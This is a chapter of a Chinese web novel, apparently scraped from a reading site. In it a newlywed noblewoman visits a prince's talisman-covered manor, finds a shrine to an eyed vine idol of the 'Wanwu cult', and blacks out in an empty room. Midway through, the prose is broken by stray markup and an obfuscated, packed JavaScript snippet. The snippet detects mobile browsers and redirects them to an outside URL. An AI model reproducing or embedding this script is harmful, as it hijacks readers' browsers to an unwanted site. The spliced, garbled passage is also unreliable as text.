14.万物教

作品:《和离后将军爆改恋爱脑

    于是第二日在前往平王府的马车上,齐璎发现凌青虽然笔直地坐着,却跟随马车的颠簸频频点头。


    可她没说话啊?


    然后又一个颠簸,凌青整个身体都向齐璎倾斜过来——


    说时迟那时快,齐璎一屁股挪了好远。


    看凌青迅速地直起身盯着自己,齐璎心中一时有点后悔。


    哎呀,这小将军刚才分明只是借马车颠簸之际,想和她有所亲密而已嘛。


    这小将军虽对自己情根深种,但婚后一直本本分分,发乎情止乎礼。


    哪怕是看在平时他循规蹈矩的份上,自己刚才也应该半推半就,这样才好拿捏男人心啊。


    你看,结果搞得人家现在一副伤心的表情。


    要知道收放自如才是权谋之道啊!


    于是齐璎冲着凌青,露出了非常友好的笑容。


    ……希望这样能让他感受到我的爱意。


    没想到凌青盯了她半晌,随后道:


    “夫人此前,没习过武吧?”


    “学过啊。”


    齐璎回想一下自己在暖香坞,那可也是十八般武艺样样精通——


    ——的师父的学生。


    凌青的脸色瞬间又复杂起来:


    “噢?那什么时候与我一同去射圃试试?”


    齐璎勉强冲凌青笑了笑:


    “还……还是不必了吧。”


    见状,凌青的神情却兴味盎然:


    “噢?为何?”


    齐璎心想,这小将军果然是职业病犯了,听说谁会武都想指点一下。


    ……但是总不能和他说自己其实每次都要假装闹肚子躲过武术课,以及武术成绩稀烂吧。


    “夫人放心,我不会见笑于你。”


    ……呵呵,我不信。


    对此,齐璎还是很有自知之明的。别说看她骑射用剑了,就算看她跑步,都能笑倒班上一群人。


    齐璎急中生智,忽然想到了一个绝妙的答案:“你们……那个……女子怎可去射圃,丢……丢人。”


    凌青眼里更是多了一点笑意:


    “夫人原是怕人多眼杂?既如此,便去公府的私人射圃。”


    凌青微微倾身:


    “只有府中人。”


    齐璎愣了愣,能感觉到凌青的气息,正若有似无地浮动她眼前的皂纱。


    几秒后,齐璎懂了。


    人家哪是真要看你基本功,这分明是想趁机和你亲近亲近啊!


    话本里不都是这么讲的吗!


    想想看,到时候到了那个什么跑马的地方,只有你们二人,他就可以一会教你射箭,一会教你舞剑,一会教你骑马,名正言顺地肢体接触!


    拿捏人心的时刻这不就到了?


    全程只要不会就好了,这有何难?本来就都不会!


    哈哈,到时定将此男迷得神魂颠倒!


    齐璎上下狠狠打量了一番凌青宽阔的胸膛,嘴角不由自主浮现了一丝遐想微笑:


    “没问题!”


    齐璎觉得今天凌青的面部表情控制可能有点问题。


    刚才她不开心的时候,他看上去总是一副是开心的表情。


    现在她开心了,他又不开心了。


    ……可能面瘫久了是这样的,齐璎默默地想。


    凌青冷冷地转过脸去,嘴上应承下来:“我让人安排。”


    *


    齐璎早已学乖,提前向齐盈大致打听了一圈大家的家庭基础信息。


    不过这平王也是个闲散的王爷,平日里也没什么别的事,府中也是有些严格的规矩,听说和镇国公的关系没那么好,除此之外也没啥多余的。


    规矩森严对如今的齐璎来说已经不算是挑战了,只要能正常见到王妃,接下来正常走流程就好,齐璎对此早已烂熟于心。


    于是她跟着凌青,先在门口跨了一个火盆。


    然后再……诶?!


    平王府内的陈设实在让齐璎吓了一大跳。


    面对正门的前院中,立了三面白幡,上面用青色的颜料写满了符咒,白幡下分别跪着三名金服奴婢。


    而王府的屋檐上挂满了青色的铃铛与白底青字的符文,柱子和墙面上都画满了看不懂的青色符咒。


    偌大的庭院寸草不生,没有一点其它野生的颜色。白墙、黑柱、黑瓦,连地面都用精心挑选的白卵石和白泥制成。


    完全由黑、白、青构成的世界,乍一看着实诡异。


    齐璎愣神间,身前一个奴婢行礼:


    “将军与夫人莫怪,三年前我们娘娘梦魇缠身,王爷便请了天师布下这些镇宅。”


    这平王府内的奴婢不管是在内宅还是外院,都戴着幂篱,简直比武昌侯府还要讲究。


    沉迷迷信的闲散王爷啊……齐璎略一思忖,只要迷信,那可太好办了。


    “夫人这边请。”


    奴婢给齐璎指了左边的侧道,齐璎这才发现,三道白幡难道是三条道的代表?


    齐璎转头,看凌青已经跟着另外一个小厮从右边的侧道走向大厅,而自己的奴婢为自己指向左边……


    好家伙,这都要讲究。一会进门是不是得先迈左脚?


    齐璎跟着那奴婢,朝最左边的那道白幡走去。


    那三个跪坐的奴婢,皆是身体微微前倾,双手笼在袖子里,交叠在小腹,幂篱覆面,看不见神色。


    齐璎走过她们时,有风吹来,四面八方数千个铃铛开始乱响。


    她们那幂篱上的白纱于是也在叮铃声中,微微摆动。


    可不论那白纱如何挣扎,也看不到一点奴婢们的面容。


    没有露出任何人体的部分。


    这到底算是个什么仪式?


    齐璎莫名有点发毛。


    到了正厅,平王已经在等着了。


    平王板正地坐在主座上,约莫四五十岁年纪,习惯性地皱着眉,嘴角下垂,总让人觉得威严而不容置疑。


    可他眼神却有些涣散无光,时常咳嗽不止。


    齐璎一边打量一边想,这是得多沉迷迷信啊,整个人都跟被香火熏黄了似的。


    不过齐璎觉得他人还挺和善的,除了也不让她坐以外,还挺客气——尤其是齐璎想要奉茶的时候他都没让。


    挺好,也不用整天考虑这些人渴不渴了。


    平王还会偶尔关心她站在一旁会不会太无聊,问了她娘家的事。


    齐璎将自己编造的信息和盘托出,平王竟然听得很认真,还频频点头,和她聊得有来有回。


    齐璎感动,自从到了这个国家以来,还是第一次遇到这么关心自己的北池人。


    可聊了半天,还不见王妃出来,齐璎有些着急,没忍住催问:


    “王爷,娘娘呢?一会来吗?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916046|190804||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    齐璎看见,平王的笑容肉眼可见地消失了。


    四周铃铛声断断续续,却显得王府中更寂静了。


    ……又说错什么了吗……


    齐璎挠挠胳膊,难道平王府的规矩,连王妃也不能见客?


    齐璎盯着凌青岿然不动的后脑勺,想着还要说点什么的时候,平王开口了:


    “语儿,带夫人去见娘娘。”


    “是,夫人随我来。”


    这是直接安排单独相处了?这平王还真够意思!


    齐璎心下大喜,赶紧道谢告退,随着婢女向后厅门走去。


    可穿过正厅,主座背后的景象却让她一时错愕。


    那是一方祠堂,烛火通明,线香萦绕,瓜果贡品一应俱全。


    可那正中央摆的塑像,却不是什么神明。


    那是三根青色藤蔓,每一根都有人颈粗,上面每隔一段就画了一颗人眼。


    三根藤蔓互相缠绕着上升,有一人多高。


    齐璎只看了一眼,就鸡皮疙瘩直冒,只想低头快速走开。


    可前头的奴婢不仅停下了,还跪倒在地,从善如流地冲那藤蔓行了一个大礼。


    齐璎瞪大双眼:这平王信的是什么邪教啊!


    那奴婢起身,似乎还难掩激动的心绪:“夫人,您说万物教果真能涤荡罪恶,给我们永生么?”


    又起了一阵风,四周铃铛乱撞,齐璎愣在原地。


    这是那个万物教?!?!


    这不会是那个万物教的教主吧?!?!


    这个国家的每个人,每日崇拜供奉的,是这种东西?!


    凌青他……也会每日供奉这种东西吗?


    思及此,齐璎简直要尖叫起来。


    看齐璎愣神,奴婢似乎也感同身受:


    “夫人也觉得此教主像壮观吧?奴婢每次经过,都要忍不住跪拜。”


    造出这么诡异的东西,谁经过都会给跪了吧!


    齐璎勉强找回自己的声线:“……是,是啊……”


    齐璎跟着奴婢匆匆往前走,这次只盼能快点见到王妃,可以好和她好好互相吐槽下。


    “到了。夫人直接进去便是。”


    齐璎抬头一看,只见王妃房间房门紧闭,又是檐上挂满了铃铛,门口贴满了符咒。


    到底是要闹哪样啊!


    她在门前静静地等了一会,等奴婢们都走远了,才猛一推房门,匆匆跑进去:


    “啊!憋死我了!!”


    她一边扯掉幂篱,一边滔滔不绝起来:


    “姐妹,你那夫君是不是有精神病啊!我来的时候看到他,供了一棵树!?


    “不过你放心,我来救你了,我们一会出去装神弄鬼吓他一番,保管他马上和你和离!顺带还能把这几年的气出一下!


    “来,姐妹……”


    齐璎愣住了。


    这个房间,没有人。


    齐璎视线四处搜寻着,这间房间有浓烈的药草与香灰的味道,现在泛上来,呛得她直咳嗽。


    齐璎捂住了口鼻,拿手挥着气味。


    “娘娘?”


    她一伸手拉开床帘,确认床榻上确实也没有人。


    什么情况?


    齐璎一转身往房间外走,想找个奴婢:


    “来人!来人!”


    下一秒,眼前一黑,她失去了意识。